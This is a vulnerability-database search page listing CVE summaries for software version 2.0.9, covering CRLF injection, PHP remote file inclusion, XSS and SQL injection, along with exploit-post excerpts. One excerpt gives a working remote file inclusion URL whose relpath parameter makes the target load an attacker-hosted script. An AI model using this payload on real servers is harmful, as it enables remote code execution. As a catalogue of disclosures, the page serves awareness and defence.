328 matches found
CVE-2007-4464
CRLF injection vulnerability in the Fileinfo 2.0.9 plugin for Total Commander allows user-assisted remote attackers to spoof the information in the Image File Header tab via strings with CRLF sequences in the IMAGEEXPORTDIRECTORY array in a PE file, which could complicate forensics investigations...
CVE-2006-7106
PHP remote file inclusion vulnerability in config.inc.php3 in Power Phlogger 2.0.9 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the relpath parameter...
Power Phlogger 2.0.9 - 'config.inc.php3' File Inclusion
Power Phlogger 2.0.9 - Class: Remote|Local File Include Vulnerability Remote: Yes Local: No Type: High Site: http://www.comscripts.com/scripts/php.power-phlogger.211.html Author: xw0x Contact: [email protected] Vuln Code config.inc.php3: http://victim.com/Power Phlogger...
Power Phlogger <= 2.0.9 (config.inc.php3) File Include Vulnerability
Exploit for unknown platform in category web applications ==================================================================== Power Phlogger http://victim.com/Power Phlogger 2.0.9/config.inc.php3?relpath=http://DarknesseScript.txt 0day.today 2018-01-11...
CVE-2006-3902
CVE-2006-3902 is an XSS vulnerability in phpFaber TopSites 2.0.9 where the i_cat parameter of index.php can be exploited to inject arbitrary web script or HTML. The description notes that the vulnerability arises from the input handling in the i_cat parameter; no further details on the root cause...
CVE-2006-3770
The CVE-2006-3770 entry covers multiple SQL injection flaws in phpFaber TopSites (index.php) affecting version 2.0.9 and earlier. The underlying issue is unsecured handling of the (1) i_cat and (2) method parameters, enabling remote attackers to alter SQL queries and potentially compromise data. ...